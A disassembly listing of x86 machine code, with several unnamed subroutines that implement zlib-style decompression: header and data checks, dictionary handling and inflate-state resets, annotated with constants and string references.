08068bcf   89 d7                  mov     %edx,%edi
08068bd1   89 c8                  mov     %ecx,%eax
08068bd3   31 d2                  xor     %edx,%edx
08068bd5   f7 f7                  div     %edi
08068bd7   85 d2                  test    %edx,%edx
08068bd9   74 1d                  je      08068bf8 <Unknown0431+0x11c>
08068bdb   c7 43 18 8f 68 07 08   movl    $0x807688f,0x18(%ebx)  ;[in .rodata] 1868787305 'x69 x6e x63 x6f'
                                                                  "incorrect header check"
08068be2   c7 46 04 05 00 00 00   movl    $0x5,0x4(%esi)   ;5 'x5 x0 x0 x0' ""
08068be9   c7 06 0d 00 00 00      movl    $0xd,(%esi)   ;13 'xd x0 x0 x0' ""
08068bef   8b 53 1c               mov     0x1c(%ebx),%edx
08068bf2   e9 29 ff ff ff         jmp     08068b20 <Unknown0431+0x44>   ;-215 'x29 xff xff xff' ")"
08068bf7   90                     nop
08068bf8   f7 45 e8 20 00 00 00   testl   $0x20,0xffffffe8(%ebp)
08068bff   75 0f                  jne     08068c10 <Unknown0431+0x134>
08068c01   c7 06 07 00 00 00      movl    $0x7,(%esi)   ;7 'x7 x0 x0 x0' ""
08068c07   89 f2                  mov     %esi,%edx
08068c09   e9 12 ff ff ff         jmp     08068b20 <Unknown0431+0x44>   ;-238 'x12 xff xff xff' ""
08068c0e   89 f6                  mov     %esi,%esi
08068c10   c7 06 02 00 00 00      movl    $0x2,(%esi)   ;2 'x2 x0 x0 x0' ""
08068c16   8b 43 04               mov     0x4(%ebx),%eax
08068c19   85 c0                  test    %eax,%eax
08068c1b   0f 84 f7 fe ff ff      je      08068b18 <Unknown0431+0x3c>   ;-265 'xf7 xfe xff xff' ""


 ;
 ; >----------------------<  Subroutine # 432 >----------------------<
 ;
08068c1f <Unknown0432>:
08068c1f   ff                     (bad)
08068c20   ff c7                  inc     %edi
08068c22   45                     inc     %ebp
08068c23   f0 00 00               lock add %al,(%eax)
08068c26   00 00                  add     %al,(%eax)
08068c28   48                     dec     %eax
08068c29   89 43 04               mov     %eax,0x4(%ebx)
08068c2c   ff 43 08               incl    0x8(%ebx)
08068c2f   8b 03                  mov     (%ebx),%eax
08068c31   0f b6 00               movzbl  (%eax),%eax
08068c34   c1 e0 18               shl     $0x18,%eax
08068c37   8b 53 1c               mov     0x1c(%ebx),%edx
08068c3a   89 42 08               mov     %eax,0x8(%edx)
08068c3d   8b 43 1c               mov     0x1c(%ebx),%eax
08068c40   ff 03                  incl    (%ebx)
08068c42   c7 00 03 00 00 00      movl    $0x3,(%eax)   ;3 'x3 x0 x0 x0' ""
08068c48   8b 43 04               mov     0x4(%ebx),%eax
08068c4b   85 c0                  test    %eax,%eax
08068c4d   0f 84 c5 fe ff ff      je      08068b18 <Unknown0431+0x3c>   ;-315 'xc5 xfe xff xff' ""
```

```
08068c53   c7 45 f0 00 00 00 00   movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08068c5a   48                     dec     %eax
08068c5b   89 43 04               mov     %eax,0x4(%ebx)
08068c5e   ff 43 08               incl    0x8(%ebx)
08068c61   8b 03                  mov     (%ebx),%eax
08068c63   0f b6 00               movzbl  (%eax),%eax
08068c66   c1 e0 10               shl     $0x10,%eax
08068c69   8b 53 1c               mov     0x1c(%ebx),%edx
08068c6c   01 42 08               add     %eax,0x8(%edx)
08068c6f   8b 43 1c               mov     0x1c(%ebx),%eax
08068c72   ff 03                  incl    (%ebx)
08068c74   c7 00 04 00 00 00      movl    $0x4,(%eax)   ;4 'x4 x0 x0 x0' ""
08068c7a   8b 43 04               mov     0x4(%ebx),%eax
08068c7d   85 c0                  test    %eax,%eax
08068c7f   0f 84 93 fe ff ff      je      08068b18 <Unknown0431+0x3c>   ;-365 'x93 xfe xff xff' ""
08068c85   c7 45 f0 00 00 00 00   movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08068c8c   48                     dec     %eax
08068c8d   89 43 04               mov     %eax,0x4(%ebx)
08068c90   ff 43 08               incl    0x8(%ebx)
08068c93   8b 03                  mov     (%ebx),%eax
08068c95   0f b6 00               movzbl  (%eax),%eax
08068c98   c1 e0 08               shl     $0x8,%eax
08068c9b   8b 53 1c               mov     0x1c(%ebx),%edx
08068c9e   01 42 08               add     %eax,0x8(%edx)
08068ca1   8b 43 1c               mov     0x1c(%ebx),%eax
08068ca4   ff 03                  incl    (%ebx)
08068ca6   c7 00 05 00 00 00      movl    $0x5,(%eax)   ;5 'x5 x0 x0 x0' ""
08068cac   8b 43 04               mov     0x4(%ebx),%eax
08068caf   85 c0                  test    %eax,%eax
08068cb1   0f 84 61 fe ff ff      je      08068b18 <Unknown0431+0x3c>   ;-415 'x61 xfe xff xff' "a"
08068cb7   48                     dec     %eax
08068cb8   89 43 04               mov     %eax,0x4(%ebx)
08068cbb   ff 43 08               incl    0x8(%ebx)
08068cbe   8b 03                  mov     (%ebx),%eax
08068cc0   0f b6 00               movzbl  (%eax),%eax
08068cc3   8b 53 1c               mov     0x1c(%ebx),%edx
08068cc6   01 42 08               add     %eax,0x8(%edx)
08068cc9   8b 53 1c               mov     0x1c(%ebx),%edx
08068ccc   ff 03                  incl    (%ebx)
08068cce   8b 42 08               mov     0x8(%edx),%eax
08068cd1   89 43 30               mov     %eax,0x30(%ebx)
08068cd4   c7 02 06 00 00 00      movl    $0x6,(%edx)   ;6 'x6 x0 x0 x0' ""
08068cda   b8 02 00 00 00         mov     $0x2,%eax   ;2 'x2 x0 x0 x0' ""
08068cdf   e9 95 01 00 00         jmp     08068e79 <Unknown0432+0x25a>   ;405 'x95 x1 x0 x0' ""
08068ce4   c7 43 18 a6 68 07 08   movl    $0x80768a6,0x18(%ebx)   ;[in .rodata] 1684366702 'x6e x65 x65 x64'
                                                                               "need dictionary"
08068ceb   c7 02 0d 00 00 00      movl    $0xd,(%edx)   ;13 'xd x0 x0 x0' ""
08068cf1   c7 42 04 00 00 00 00   movl    $0x0,0x4(%edx)   ;0 'x0 x0 x0 x0' ""
08068cf8   e9 77 01 00 00         jmp     08068e74 <Unknown0432+0x255>   ;375 'x77 x1 x0 x0' "w"
08068cfd   8d 76 00               lea     0x0(%esi),%esi
08068d00   56                     push    %esi
08068d01   ff 75 f0               pushl   0xfffffff0(%ebp)
08068d04   53                     push    %ebx
08068d05   ff 72 14               pushl   0x14(%edx)
08068d08   e8 f3 03 00 00         call    08069100 <Unknown0437>
08068d0d   83 c4 10               add     $0x10,%esp
08068d10   83 f8 fd               cmp     $0xfffffffd,%eax
08068d13   89 45 f0               mov     %eax,0xfffffff0(%ebp)
08068d16   75 18                  jne     08068d30 <Unknown0432+0x111>
08068d18   8b 43 1c               mov     0x1c(%ebx),%eax
08068d1b   c7 40 04 00 00 00 00   movl    $0x0,0x4(%eax)   ;0 'x0 x0 x0 x0' ""
08068d22   c7 00 0d 00 00 00      movl    $0xd,(%eax)   ;13 'xd x0 x0 x0' ""
08068d28   8b 53 1c               mov     0x1c(%ebx),%edx
08068d2b   e9 f0 fd ff ff         jmp     08068b20 <Unknown0431+0x44>   ;-528 'xf0 xfd xff xff' ""
08068d30   83 7d f0 01            cmpl    $0x1,0xfffffff0(%ebp)
08068d34   0f 85 de fd ff ff      jne     08068b18 <Unknown0431+0x3c>   ;-546 'xde xfd xff xff' ""
08068d3a   51                     push    %ecx
08068d3b   c7 45 f0 00 00 00 00   movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08068d42   8b 43 1c               mov     0x1c(%ebx),%eax
08068d45   83 c0 04               add     $0x4,%eax
08068d48   50                     push    %eax
08068d49   53                     push    %ebx
08068d4a   8b 43 1c               mov     0x1c(%ebx),%eax
08068d4d   ff 70 14               pushl   0x14(%eax)
08068d50   e8 9b 02 00 00         call    08068ff0 <Unknown0435>
08068d55   8b 43 1c               mov     0x1c(%ebx),%eax
08068d58   8b 50 0c               mov     0xc(%eax),%edx
08068d5b   83 c4 10               add     $0x10,%esp
08068d5e   85 d2                  test    %edx,%edx
08068d60   74 0e                  je      08068d70 <Unknown0432+0x151>
08068d62   c7 00 0c 00 00 00      movl    $0xc,(%eax)   ;12 'xc x0 x0 x0' ""
08068d68   89 c2                  mov     %eax,%edx
08068d6a   e9 b1 fd ff ff         jmp     08068b20 <Unknown0431+0x44>   ;-591 'xb1 xfd xff xff' ""
08068d6f   90                     nop
```

```
08068d70   c7 00 08 00 00 00      movl   $0x8,(%eax)   ;8 'x8 x0 x0 x0' ""
08068d76   8b 43 04               mov    0x4(%ebx),%eax
08068d79   85 c0                  test   %eax,%eax
08068d7b   0f 84 97 fd ff ff      je     08068b18 <Unknown0431+0x3c>  ;-617 'x97 xfd xff xff' ""
08068d81   c7 45 f0 00 00 00 00   movl   $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
08068d88   48                     dec    %eax
08068d89   89 43 04               mov    %eax,0x4(%ebx)
08068d8c   ff 43 08               incl   0x8(%ebx)
08068d8f   8b 03                  mov    (%ebx),%eax
08068d91   0f b6 00               movzbl (%eax),%eax
08068d94   c1 e0 18               shl    $0x18,%eax
08068d97   8b 53 1c               mov    0x1c(%ebx),%edx
08068d9a   89 42 08               mov    %eax,0x8(%edx)
08068d9d   8b 43 1c               mov    0x1c(%ebx),%eax
08068da0   ff 03                  incl   (%ebx)
08068da2   c7 00 09 00 00 00      movl   $0x9,(%eax)   ;9 'x9 x0 x0 x0' ""
08068da8   8b 43 04               mov    0x4(%ebx),%eax
08068dab   85 c0                  test   %eax,%eax
08068dad   0f 84 65 fd ff ff      je     08068b18 <Unknown0431+0x3c>   ;-667 'x65 xfd xff xff' "e"
08068db3   c7 45 f0 00 00 00 00   movl   $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
08068dba   48                     dec    %eax
08068dbb   89 43 04               mov    %eax,0x4(%ebx)
08068dbe   ff 43 08               incl   0x8(%ebx)
08068dc1   8b 03                  mov    (%ebx),%eax
08068dc3   0f b6 00               movzbl (%eax),%eax
08068dc6   c1 e0 10               shl    $0x10,%eax
08068dc9   8b 53 1c               mov    0x1c(%ebx),%edx
08068dcc   01 42 08               add    %eax,0x8(%edx)
08068dcf   8b 43 1c               mov    0x1c(%ebx),%eax
08068dd2   ff 03                  incl   (%ebx)
08068dd4   c7 00 0a 00 00 00      movl   $0xa,(%eax)   ;10 'xa x0 x0 x0' ""
08068dda   8b 43 04               mov    0x4(%ebx),%eax
08068ddd   85 c0                  test   %eax,%eax
08068ddf   0f 84 33 fd ff ff      je     08068b18 <Unknown0431+0x3c>   ;-717 'x33 xfd xff xff' "3"
08068de5   c7 45 f0 00 00 00 00   movl   $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
08068dec   48                     dec    %eax
08068ded   89 43 04               mov    %eax,0x4(%ebx)
08068df0   ff 43 08               incl   0x8(%ebx)
08068df3   8b 03                  mov    (%ebx),%eax
08068df5   0f b6 00               movzbl (%eax),%eax
08068df8   c1 e0 08               shl    $0x8,%eax
08068dfb   8b 53 1c               mov    0x1c(%ebx),%edx
08068dfe   01 42 08               add    %eax,0x8(%edx)
08068e01   8b 43 1c               mov    0x1c(%ebx),%eax
08068e04   ff 03                  incl   (%ebx)
08068e06   c7 00 0b 00 00 00      movl   $0xb,(%eax)   ;11 'xb x0 x0 x0' ""
08068e0c   8b 43 04               mov    0x4(%ebx),%eax
08068e0f   85 c0                  test   %eax,%eax
08068e11   0f 84 01 fd ff ff      je     08068b18 <Unknown0431+0x3c>   ;-767 'x1 xfd xff xff' ""
08068e17   c7 45 f0 00 00 00 00   movl   $0x0,0xfffffff0(%ebp)  ;0 'x0 x0 x0 x0' ""
08068e1e   48                     dec    %eax
08068e1f   89 43 04               mov    %eax,0x4(%ebx)
08068e22   ff 43 08               incl   0x8(%ebx)
08068e25   8b 03                  mov    (%ebx),%eax
08068e27   0f b6 00               movzbl (%eax),%eax
08068e2a   8b 53 1c               mov    0x1c(%ebx),%edx
08068e2d   01 42 08               add    %eax,0x8(%edx)
08068e30   ff 03                  incl   (%ebx)
08068e32   8b 53 1c               mov    0x1c(%ebx),%edx
08068e35   8b 42 08               mov    0x8(%edx),%eax
08068e38   39 42 04               cmp    %eax,0x4(%edx)
08068e3b   74 1f                  je     08068e5c <Unknown0432+0x23d>
08068e3d   c7 43 18 b6 68 07 08   movl   $0x80768b6,0x18(%ebx)  ;[in .rodata] 1868787305 'x69 x6e x63 x6f'
                                                                   "incorrect data check"
08068e44   c7 42 04 05 00 00 00   movl   $0x5,0x4(%edx)  ;5 'x5 x0 x0 x0' ""
08068e4b   c7 02 0d 00 00 00      movl   $0xd,(%edx)   ;13 'xd x0 x0 x0' ""
08068e51   8b 53 1c               mov    0x1c(%ebx),%edx
08068e54   e9 c7 fc ff ff         jmp    08068b20 <Unknown0431+0x44>   ;-825 'xc7 xfc xff xff' ""
08068e59   8d 76 00               lea    0x0(%esi),%esi
08068e5c   c7 02 0c 00 00 00      movl   $0xc,(%edx)   ;12 'xc x0 x0 x0' ""
08068e62   b8 01 00 00 00         mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08068e67   eb 10                  jmp    08068e79 <Unknown0432+0x25a>
08068e69   8d 76 00               lea    0x0(%esi),%esi
08068e6c   b8 fd ff ff ff         mov    $0xfffffffd,%eax   ;-3 'xfd xff xff xff' ""
08068e71   eb 06                  jmp    08068e79 <Unknown0432+0x25a>
08068e73   90                     nop
08068e74   b8 fe ff ff ff         mov    $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
08068e79   8d 65 f4               lea    0xfffffff4(%ebp),%esp
08068e7c   5b                     pop    %ebx
08068e7d   5e                     pop    %esi
08068e7e   5f                     pop    %edi
08068e7f   5d                     pop    %ebp
08068e80   c3                     ret
08068e81   8d 76 00               lea    0x0(%esi),%esi
```

```
;
; >---------------------< Subroutine # 433 >---------------------<
;
08068e84 <Unknown0433>:
08068e84  55                    push   %ebp
08068e85  89 e5                 mov    %esp,%ebp
08068e87  57                    push   %edi
08068e88  56                    push   %esi
08068e89  53                    push   %ebx
08068e8a  83 ec 0c              sub    $0xc,%esp
08068e8d  8b 55 08              mov    0x8(%ebp),%edx
08068e90  8b 5d 10              mov    0x10(%ebp),%ebx
08068e93  85 d2                 test   %edx,%edx
08068e95  8b 75 0c              mov    0xc(%ebp),%esi
08068e98  89 df                 mov    %ebx,%edi
08068e9a  74 0f                 je     08068eab <Unknown0433+0x27>
08068e9c  8b 55 08              mov    0x8(%ebp),%edx
08068e9f  8b 42 1c              mov    0x1c(%edx),%eax
08068ea2  85 c0                 test   %eax,%eax
08068ea4  74 05                 je     08068eab <Unknown0433+0x27>
08068ea6  83 38 06              cmpl   $0x6,(%eax)
08068ea9  74 09                 je     08068eb4 <Unknown0433+0x30>
08068eab  b8 fe ff ff ff        mov    $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
08068eb0  eb 5d                 jmp    08068f0f <Unknown0433+0x8b>
08068eb2  89 f6                 mov    %esi,%esi
08068eb4  50                    push   %eax
08068eb5  53                    push   %ebx
08068eb6  56                    push   %esi
08068eb7  6a 01                 push   $0x1
08068eb9  e8 86 25 00 00        call   0806b444 <Unknown0451>
08068ebe  8b 55 08              mov    0x8(%ebp),%edx
08068ec1  83 c4 10              add    $0x10,%esp
08068ec4  3b 42 30              cmp    0x30(%edx),%eax
08068ec7  74 07                 je     08068ed0 <Unknown0433+0x4c>
08068ec9  b8 fd ff ff ff        mov    $0xfffffffd,%eax   ;-3 'xfd xff xff xff' ""
08068ece  eb 3f                 jmp    08068f0f <Unknown0433+0x8b>
08068ed0  8b 45 08              mov    0x8(%ebp),%eax
08068ed3  8b 50 1c              mov    0x1c(%eax),%edx
08068ed6  c7 40 30 01 00 00 00  movl   $0x1,0x30(%eax)    ;1 'x1 x0 x0 x0' ""
08068edd  8b 4a 10              mov    0x10(%edx),%ecx
08068ee0  89 d8                 mov    %ebx,%eax
08068ee2  d3 e8                 shr    %cl,%eax
08068ee4  85 c0                 test   %eax,%eax
08068ee6  74 0e                 je     08068ef6 <Unknown0433+0x72>
08068ee8  b8 01 00 00 00        mov    $0x1,%eax          ;1 'x1 x0 x0 x0' ""
08068eed  d3 e0                 shl    %cl,%eax
08068eef  8d 58 ff              lea    0xffffffff(%eax),%ebx
08068ef2  29 df                 sub    %ebx,%edi
08068ef4  01 fe                 add    %edi,%esi
08068ef6  51                    push   %ecx
08068ef7  53                    push   %ebx
08068ef8  56                    push   %esi
08068ef9  ff 72 14              pushl  0x14(%edx)
08068efc  e8 17 0f 00 00        call   08069e18 <Unknown0439>
08068f01  8b 55 08              mov    0x8(%ebp),%edx
08068f04  8b 42 1c              mov    0x1c(%edx),%eax
08068f07  c7 00 07 00 00 00     movl   $0x7,(%eax)        ;7 'x7 x0 x0 x0' ""
08068f0d  31 c0                 xor    %eax,%eax
08068f0f  8d 65 f4              lea    0xfffffff4(%ebp),%esp
08068f12  5b                    pop    %ebx
08068f13  5e                    pop    %esi
08068f14  5f                    pop    %edi
08068f15  5d                    pop    %ebp
08068f16  c3                    ret
08068f17  90                    nop


;
; >---------------------< Subroutine # 434 >---------------------<
;
08068f18 <Unknown0434>:
08068f18  55                    push   %ebp
08068f19  89 e5                 mov    %esp,%ebp
08068f1b  57                    push   %edi
08068f1c  56                    push   %esi
08068f1d  53                    push   %ebx
08068f1e  83 ec 0c              sub    $0xc,%esp
08068f21  8b 7d 08              mov    0x8(%ebp),%edi
08068f24  85 ff                 test   %edi,%edi
08068f26  74 07                 je     08068f2f <Unknown0434+0x17>
08068f28  8b 47 1c              mov    0x1c(%edi),%eax
08068f2b  85 c0                 test   %eax,%eax
```

```
08068f2d  75 0d              jne     08068f3c <Unknown0434+0x24>
08068f2f  b8 fe ff ff ff     mov     $0xfffffffe,%eax   ;-2 'xfe xff xff xff' ""
08068f34  e9 ac 00 00 00     jmp     08068fe5 <Unknown0434+0xcd>   ;172 'xac x0 x0 x0' ""
08068f39  8d 76 00           lea     0x0(%esi),%esi
08068f3c  83 38 0d           cmpl    $0xd,(%eax)
08068f3f  74 0d              je      08068f4e <Unknown0434+0x36>
08068f41  c7 00 0d 00 00 00  movl    $0xd,(%eax)   ;13 'xd x0 x0 x0' ""
08068f47  c7 40 04 00 00 00 00  movl  $0x0,0x4(%eax)   ;0 'x0 x0 x0 x0' ""
08068f4e  8b 5f 04           mov     0x4(%edi),%ebx
08068f51  85 db              test    %ebx,%ebx
08068f53  b8 fb ff ff ff     mov     $0xfffffffb,%eax   ;-5 'xfb xff xff xff' ""
08068f58  0f 84 87 00 00 00  je      08068fe5 <Unknown0434+0xcd>   ;135 'x87 x0 x0 x0' ""
08068f5e  8b 47 1c           mov     0x1c(%edi),%eax
08068f61  8b 50 04           mov     0x4(%eax),%edx
08068f64  8b 0f              mov     (%edi),%ecx
08068f66  83 fa 03           cmp     $0x3,%edx
08068f69  89 ce              mov     %ecx,%esi
08068f6b  77 3c              ja      08068fa9 <Unknown0434+0x91>
08068f6d  8d 76 00           lea     0x0(%esi),%esi
08068f70  83 fa 01           cmp     $0x1,%edx
08068f73  0f b6 01           movzbl  (%ecx),%eax
08068f76  76 0c              jbe     08068f84 <Unknown0434+0x6c>
08068f78  3d ff 00 00 00     cmp     $0xff,%eax   ;255 'xff x0 x0 x0' ""
08068f7d  74 09              je      08068f88 <Unknown0434+0x70>
08068f7f  eb 0b              jmp     08068f8c <Unknown0434+0x74>
08068f81  8d 76 00           lea     0x0(%esi),%esi
08068f84  85 c0              test    %eax,%eax
08068f86  75 04              jne     08068f8c <Unknown0434+0x74>
08068f88  42                 inc     %edx
08068f89  eb 15              jmp     08068fa0 <Unknown0434+0x88>
08068f8b  90                 nop
08068f8c  b8 04 00 00 00     mov     $0x4,%eax   ;4 'x4 x0 x0 x0' ""
08068f91  29 d0              sub     %edx,%eax
08068f93  89 c2              mov     %eax,%edx
08068f95  31 c0              xor     %eax,%eax
08068f97  80 39 00           cmpb    $0x0,(%ecx)
08068f9a  0f 95 c0           setne   %al
08068f9d  48                 dec     %eax
08068f9e  21 c2              and     %eax,%edx
08068fa0  41                 inc     %ecx
08068fa1  4b                 dec     %ebx
08068fa2  74 05              je      08068fa9 <Unknown0434+0x91>
08068fa4  83 fa 03           cmp     $0x3,%edx
08068fa7  76 c7              jbe     08068f70 <Unknown0434+0x58>
08068fa9  89 c8              mov     %ecx,%eax
08068fab  29 f0              sub     %esi,%eax
08068fad  01 47 08           add     %eax,0x8(%edi)
08068fb0  8b 47 1c           mov     0x1c(%edi),%eax
08068fb3  83 fa 04           cmp     $0x4,%edx
08068fb6  89 0f              mov     %ecx,(%edi)
08068fb8  89 5f 04           mov     %ebx,0x4(%edi)
08068fbb  89 50 04           mov     %edx,0x4(%eax)
08068fbe  b8 fd ff ff ff     mov     $0xfffffffd,%eax   ;-3 'xfd xff xff xff' ""
08068fc3  75 20              jne     08068fe5 <Unknown0434+0xcd>
08068fc5  83 ec 0c           sub     $0xc,%esp
08068fc8  8b 5f 08           mov     0x8(%edi),%ebx
08068fcb  8b 77 14           mov     0x14(%edi),%esi
08068fce  57                 push    %edi
08068fcf  e8 30 f9 ff ff     call    08068904 <Unknown0427>
08068fd4  8b 47 1c           mov     0x1c(%edi),%eax
08068fd7  c7 00 07 00 00 00  movl    $0x7,(%eax)   ;7 'x7 x0 x0 x0' ""
08068fdd  89 5f 08           mov     %ebx,0x8(%edi)
08068fe0  89 77 14           mov     %esi,0x14(%edi)
08068fe3  31 c0              xor     %eax,%eax
08068fe5  8d 65 f4           lea     0xfffffff4(%ebp),%esp
08068fe8  5b                 pop     %ebx
08068fe9  5e                 pop     %esi
08068fea  5f                 pop     %edi
08068feb  5d                 pop     %ebp
08068fec  c3                 ret
08068fed  8d 76 00           lea     0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 435 >--------------------<
   ;
08068ff0 <Unknown0435>:
08068ff0  55                 push    %ebp
08068ff1  89 e5              mov     %esp,%ebp
08068ff3  56                 push    %esi
08068ff4  53                 push    %ebx
08068ff5  8b 5d 08           mov     0x8(%ebp),%ebx
08068ff8  8b 43 34           mov     0x34(%ebx),%eax
08068ffb  85 c0              test    %eax,%eax
```

```
08068ffd  8b 75 0c              mov     0xc(%ebp),%esi
08069000  74 08                 je      0806900a <Unknown0435+0x1a>
08069002  8b 53 38              mov     0x38(%ebx),%edx
08069005  8b 45 10              mov     0x10(%ebp),%eax
08069008  89 10                 mov     %edx,(%eax)
0806900a  8b 13                 mov     (%ebx),%edx
0806900c  8d 42 fc              lea     0xfffffffc(%edx),%eax
0806900f  83 f8 01              cmp     $0x1,%eax
08069012  77 11                 ja      08069025 <Unknown0435+0x35>
08069014  83 ec 08              sub     $0x8,%esp
08069017  ff 73 0c              pushl   0xc(%ebx)
0806901a  ff 76 28              pushl   0x28(%esi)
0806901d  ff 56 24              call    *0x24(%esi)
08069020  83 c4 10              add     $0x10,%esp
08069023  8b 13                 mov     (%ebx),%edx
08069025  83 fa 06              cmp     $0x6,%edx
08069028  75 25                 jne     0806904f <Unknown0435+0x5f>
0806902a  83 ec 08              sub     $0x8,%esp
0806902d  56                    push    %esi
0806902e  ff 73 0c              pushl   0xc(%ebx)
08069031  e8 56 1f 00 00        call    0806af8c <Unknown0448>
08069036  5a                    pop     %edx
08069037  59                    pop     %ecx
08069038  56                    push    %esi
08069039  ff 73 08              pushl   0x8(%ebx)
0806903c  e8 13 17 00 00        call    0806a754 <Unknown0445>
08069041  59                    pop     %ecx
08069042  58                    pop     %eax
08069043  56                    push    %esi
08069044  ff 73 04              pushl   0x4(%ebx)
08069047  e8 08 17 00 00        call    0806a754 <Unknown0445>
0806904c  83 c4 10              add     $0x10,%esp
0806904f  8b 43 24              mov     0x24(%ebx),%eax
08069052  89 43 30              mov     %eax,0x30(%ebx)
08069055  89 43 2c              mov     %eax,0x2c(%ebx)
08069058  8b 43 34              mov     0x34(%ebx),%eax
0806905b  85 c0                 test    %eax,%eax
0806905d  c7 03 00 00 00 00     movl    $0x0,(%ebx)        ;0 'x0 x0 x0 x0' ""
08069063  c7 43 1c 00 00 00 00  movl    $0x0,0x1c(%ebx)    ;0 'x0 x0 x0 x0' ""
0806906a  c7 43 20 00 00 00 00  movl    $0x0,0x20(%ebx)    ;0 'x0 x0 x0 x0' ""
08069071  74 12                 je      08069085 <Unknown0435+0x95>
08069073  52                    push    %edx
08069074  6a 00                 push    $0x0
08069076  6a 00                 push    $0x0
08069078  6a 00                 push    $0x0
0806907a  ff d0                 call    *%eax
0806907c  89 43 38              mov     %eax,0x38(%ebx)
0806907f  83 c4 10              add     $0x10,%esp
08069082  89 46 30              mov     %eax,0x30(%esi)
08069085  8d 65 f8              lea     0xfffffff8(%ebp),%esp
08069088  5b                    pop     %ebx
08069089  5e                    pop     %esi
0806908a  5d                    pop     %ebp
0806908b  c3                    ret


   ;
   ; >--------------------<  Subroutine # 436 >--------------------<
   ;
0806908c <Unknown0436>:
0806908c  55                    push    %ebp
0806908d  89 e5                 mov     %esp,%ebp
0806908f  57                    push    %edi
08069090  56                    push    %esi
08069091  53                    push    %ebx
08069092  83 ec 10              sub     $0x10,%esp
08069095  6a 3c                 push    $0x3c
08069097  6a 01                 push    $0x1
08069099  8b 75 08              mov     0x8(%ebp),%esi
0806909c  ff 76 28              pushl   0x28(%esi)
0806909f  8b 7d 10              mov     0x10(%ebp),%edi
080690a2  ff 56 20              call    *0x20(%esi)
080690a5  89 c3                 mov     %eax,%ebx
080690a7  83 c4 10              add     $0x10,%esp
080690aa  85 db                 test    %ebx,%ebx
080690ac  75 06                 jne     080690b4 <Unknown0436+0x28>
080690ae  31 c0                 xor     %eax,%eax
080690b0  eb 45                 jmp     080690f7 <Unknown0436+0x6b>
080690b2  89 f6                 mov     %esi,%esi
080690b4  51                    push    %ecx
080690b5  57                    push    %edi
080690b6  6a 01                 push    $0x1
080690b8  ff 76 28              pushl   0x28(%esi)
080690bb  ff 56 20              call    *0x20(%esi)
```

```
080690be   83 c4 10                    add     $0x10,%esp
080690c1   85 c0                       test    %eax,%eax
080690c3   89 43 24                    mov     %eax,0x24(%ebx)
080690c6   75 10                       jne     080690d8 <Unknown0436+0x4c>
080690c8   83 ec 08                    sub     $0x8,%esp
080690cb   53                          push    %ebx
080690cc   ff 76 28                    pushl   0x28(%esi)
080690cf   ff 56 24                    call    *0x24(%esi)
080690d2   31 c0                       xor     %eax,%eax
080690d4   eb 21                       jmp     080690f7 <Unknown0436+0x6b>
080690d6   89 f6                       mov     %esi,%esi
080690d8   01 f8                       add     %edi,%eax
080690da   89 43 28                    mov     %eax,0x28(%ebx)
080690dd   8b 45 0c                    mov     0xc(%ebp),%eax
080690e0   89 43 34                    mov     %eax,0x34(%ebx)
080690e3   c7 03 00 00 00 00           movl    $0x0,(%ebx)       ;0 'x0 x0 x0 x0' ""
080690e9   8d 43 38                    lea     0x38(%ebx),%eax
080690ec   52                          push    %edx
080690ed   50                          push    %eax
080690ee   56                          push    %esi
080690ef   53                          push    %ebx
080690f0   e8 fb fe ff ff              call    08068ff0 <Unknown0435>
080690f5   89 d8                       mov     %ebx,%eax
080690f7   8d 65 f4                    lea     0xfffffff4(%ebp),%esp
080690fa   5b                          pop     %ebx
080690fb   5e                          pop     %esi
080690fc   5f                          pop     %edi
080690fd   5d                          pop     %ebp
080690fe   c3                          ret
080690ff   90                          nop


   ;
   ; >---------------------<  Subroutine # 437 >---------------------<
   ;
08069100 <Unknown0437>:
08069100   55                          push    %ebp
08069101   89 e5                       mov     %esp,%ebp
08069103   57                          push    %edi
08069104   56                          push    %esi
08069105   53                          push    %ebx
08069106   83 ec 4c                    sub     $0x4c,%esp
08069109   8b 45 0c                    mov     0xc(%ebp),%eax
0806910c   8b 00                       mov     (%eax),%eax
0806910e   89 45 d0                    mov     %eax,0xffffffd0(%ebp)
08069111   8b 45 0c                    mov     0xc(%ebp),%eax
08069114   8b 40 04                    mov     0x4(%eax),%eax
08069117   89 45 cc                    mov     %eax,0xffffffcc(%ebp)
0806911a   8b 55 08                    mov     0x8(%ebp),%edx
0806911d   8b 42 30                    mov     0x30(%edx),%eax
08069120   8b 7a 20                    mov     0x20(%edx),%edi
08069123   8b 72 1c                    mov     0x1c(%edx),%esi
08069126   89 45 c8                    mov     %eax,0xffffffc8(%ebp)
08069129   8b 42 2c                    mov     0x2c(%edx),%eax
0806912c   39 45 c8                    cmp     %eax,0xffffffc8(%ebp)
0806912f   0f 83 a3 01 00 00           jae     080692d8 <Unknown0437+0x1d8>  ;419 'xa3 x1 x0 x0' ""
08069135   2b 45 c8                    sub     0xffffffc8(%ebp),%eax
08069138   48                          dec     %eax
08069139   e9 a5 01 00 00              jmp     080692e3 <Unknown0437+0x1e3>  ;421 'xa5 x1 x0 x0' ""
0806913e   89 f6                       mov     %esi,%esi
08069140   8b 55 08                    mov     0x8(%ebp),%edx
08069143   89 7a 20                    mov     %edi,0x20(%edx)
08069146   89 72 1c                    mov     %esi,0x1c(%edx)
08069149   8b 4d 0c                    mov     0xc(%ebp),%ecx
0806914c   8b 5d cc                    mov     0xffffffcc(%ebp),%ebx
0806914f   89 59 04                    mov     %ebx,0x4(%ecx)
08069152   8b 45 d0                    mov     0xffffffd0(%ebp),%eax
08069155   2b 01                       sub     (%ecx),%eax
08069157   01 41 08                    add     %eax,0x8(%ecx)
0806915a   8b 45 d0                    mov     0xffffffd0(%ebp),%eax
0806915d   89 01                       mov     %eax,(%ecx)
0806915f   8b 4d c8                    mov     0xffffffc8(%ebp),%ecx
08069162   89 4a 30                    mov     %ecx,0x30(%edx)
08069165   50                          push    %eax
08069166   6a fc                       push    $0xfffffffc
